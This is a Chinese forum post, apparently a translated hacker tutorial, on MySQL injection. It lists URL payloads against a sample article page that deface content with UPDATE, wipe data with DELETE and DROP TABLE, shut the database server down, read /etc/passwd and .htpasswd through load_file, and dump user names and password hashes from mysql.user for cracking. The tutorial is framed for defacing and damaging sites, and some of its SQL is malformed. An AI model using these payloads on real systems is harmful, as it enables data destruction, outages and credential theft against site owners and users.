51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 1507|回复: 0
打印 上一主题 下一主题

mysql注入4

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2019-2-1 15:55:25 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
#0x06~修改网站内容
有时候,你会发现易受攻击的网站,并且需要知道,但是管理员登录可能不存在,或者某些IP范围是可访问的。 即使在该上下文中,您也可以使用一些kewl SQL命令来修改站点内容。 我没有看到很多文章解决这个问题,所以我想把它包含在这里。
在这里,我将基本上讨论一些可能用于更改网站内容的SQL命令。 Therse命令是MySQL的主力并且在执行时是致命的。 但堆叠查询不适用于MySQL。
首先让我列出这些命令:
UPDATE:它用于编辑数据库中已有的信息而不删除任何行。
DELETE:用于删除一个或多个字段的内容。
DROP:用于完全删除表及其所有相关数据。
现在,如果网站允许我们与db进行交互而没有清理和适当的权限,你可能已经发现这些命令非常具有破坏性。
命令用法:
UPDATE:我们易受攻击的页面是:
<?phpsite.com/article.php?id=5  
让我们说查询是:
<?phpSELECT title,data,author FROM article WHERE id=5
虽然实际上我们不知道上面的查询,但我们可以找到前面讨论过的表和列名。
所以我们会这样做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*
或者,你可以做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*
通过执行第一个查询,我们在表格文章中将标题值设置为“Hacked By r00tw0rm”,而在第二个查询中,我们更新了表格文章中的所有三个字段title,data和author。
有时,您可能想要更改id = 5的特定页面。 为此,你会这样做:
<?phpsite.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/*  
DELETE:如前所述,这将从数据库服务器中永久删除一个或多个字段的内容。
语法是:
<?phpsite.com/article.php?id=5+DELETE+title,data,author+FROM+article/*
或者,如果要从id = 5中删除这些字段,您将执行以下操作:
<?phpsite.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/*  
DROP:这是你可以使用的另一个致命的命令。 有了这个,你可以删除一个表及其所有相关数据。
为此,我们将URL设为:
<?phpsite.com/article.php?id=5+DROP+TABLE+article/*
这将删除表格文章及其所有内容。
最后,我想谈谈';'。
虽然我没有在我的教程中使用它,但你可以使用它来结束你的第一个查询并启动另一个查询。
这个 ; 可以保留在我们的第一个查询的末尾,以便我们可以在它之后开始新的查询。
#0x07~关闭MySQL服务器
这就像执行服务器一样,因为它会使合法用户或网站访问者无法使用MySQL资源......为此,您将使用:
SHUTDOWN WITH NOWAIT;
那么,你会制作一个执行上述命令的查询......
例如,在我的情况下,我会做以下事情:
<?phpsite.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;  
哇,太疯狂了! MySQL服务器关闭...这将阻止合法用户和网站访问者使用或查看MySQL资源
#0x08~Loadfile
MySQL有一个名为load_file的函数,您可以再次使用它来获益。我还没有看到很多网站可以使用这个函数...我认为我们应该拥有MySQL root权限....此外,魔术引号 应该关闭这个...但有一种方法可以超越魔术引号... load_file可用于加载服务器的某些文件,如.htaccess,.htpasswd等..还有/ etc等密码文件 / passwd等。
做类似下面的事情:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*
但有时候,你必须对部件进行hex并执行以下操作:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)  
我已经hex了......现在,如果我们幸运的话,脚本将在结果中回显/ etc / passwd。
#0x08~MySQL Root
如果MySQL版本为5或更高版本,我们可能会获得MySQL root权限,这对我们来说也会有所帮助。来自版本5的MySQL服务器有一个名为mysql.user的表,其中包含用于登录的哈希和用户名... 它位于MySQL数据库的用户表中,随MySQL的每次安装一起提供。
为此,您将:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/*  
现在你将获得用户名和哈希..哈希是mysqlsha1 ...快速注意:JTR不会破解它..但是insidepro.com有一个要做它..

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-11-9 03:09 , Processed in 0.059190 second(s), 24 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表